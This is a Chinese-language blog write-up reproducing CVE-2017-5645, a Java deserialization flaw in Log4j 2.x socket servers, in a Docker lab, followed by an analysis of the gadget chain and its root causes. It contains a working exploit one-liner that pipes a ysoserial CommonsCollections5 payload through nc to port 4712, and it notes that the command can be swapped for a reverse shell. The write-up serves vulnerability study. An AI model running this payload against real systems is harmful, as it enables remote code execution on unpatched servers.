Log4j-CVE-2017-5645漏洞復現
漏洞描述:
背景:在應用程序中添加日志記錄最普通的做法就是在代碼中嵌入許多的打印語句(如System.out.println或System.err.println),這些打印語句可以輸出到控制臺或文件中,更好的做法??是構造一個??日志操作類??(或直接使用成熟的日志框架,如Log4j、SLF4J等)來封裝此類操作,而不是讓一系列的打印語句充斥了代碼的主體。
Apache Log4j是Apache的一個開源項目,它是一個用于Java的日志記錄庫,其支持啟動遠程日志服務器。通過使用Log4j,我們可以控制日志信息輸送的目的地是控制臺、文件、GUI組件,甚至是套接口服務器、NT的事件記錄器、UNIX Syslog守護進程等;我們也可以控制每一條日志的輸出格式;通過定義每一條日志信息的級別,我們能夠更加細致地控制日志的生成過程。最令人感興趣的就是,這些可以通過一個配置文件來靈活地進行配置,而不需要修改應用的代碼。Log4j在工程中可以易用,方便等優勢代替了 System.out 等打印語句,它是 Java 下最流行的日志輸入工具,一些著名的開源項目,像spring、hibernate、struts都使用該工具作為日志輸入工具,可以幫助調試(有時候debug是發揮不了作用的)和分析。
Apache Log4j 存在一個反序列化漏洞(CVE-2017-5645)。當Log4j配置為使用TcpSocketServer或UdpSocketServer接收日志事件時,攻擊者可以通過發送一個特別制作的二進制payload,在組件將字節反序列化為對象時,觸發并執行構造的payload代碼。該漏洞主要是由于在處理ObjectInputStream時,接收器對于不可靠來源的input沒有過濾。可以通過給TcpSocketServer和UdpSocketServer添加可配置的過濾功能以及一些相關設置,可以有效的解決該漏洞。
影響組件??:org.apache.logging.log4j.core.net.server.TcpSocketServer和UdpSocketServer。
影響版本:Apache Log4j 2.8.2之前的2.x版本
漏洞復現:
通過docker啟動靶場后,就會在4712端口啟用TCPServer服務。
在攻擊機使用ysoserial工具生成工具語句如下:
payload:java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/ZyonSuccess" | nc <靶機IP> 4712
然后進入docker容器里的/tmp文件看看有沒有生成ZyonSuccess
#看一下容器ID
docker ps
#進入到docker容器里面
docker exec -it [容器ID] /bin/bash
#進入到tmp目錄下
cd /tmp
發現有我寫的ZyonSuccess。如下圖:

可以看到成功執行了命令。可以把“touch /tmp/ZyonSuccess”換成反彈shell的命令。
漏洞分析:
利用鏈觸發:
攻擊者構造惡意Payload
└─? 通過TCP/UDP發送至Log4j開放的Socket端口(如4712)
└─? TcpSocketServer啟動新線程處理Socket數據
└─? SocketHandler.run()解析請求(未驗證數據來源)
└─? ObjectInputStreamLogEventBridge.logEvents()直接調用readObject()
└─? 反序列化觸發Gadget鏈(如CommonsCollections5)
└─? Runtime.exec()執行任意代碼(如反彈Shell)
以TCP為例的流程圖如下:

關鍵組件:SocketServer / TCPServer(默認監聽端口 4712/TCP)
漏洞觸發的根本原因??: ??
①不可信數據的反序列化??:TcpSocketServer/UdpSocketServer直接使用ObjectInputStream反序列化輸入數據,未驗證來源和內容。 ??
②Java反序列化機制缺陷??:Java默認反序列化會執行對象的readObject()方法。攻擊者可構造惡意類(如利用 Apache Commons Collections 反序列化鏈,像InvokerTransformer、Gadget鏈等),在服務端反序列化時觸發代碼執行。
推薦使用ysoserial工具: https://github.com/frohoff/ysoserial

浙公網安備 33010602011771號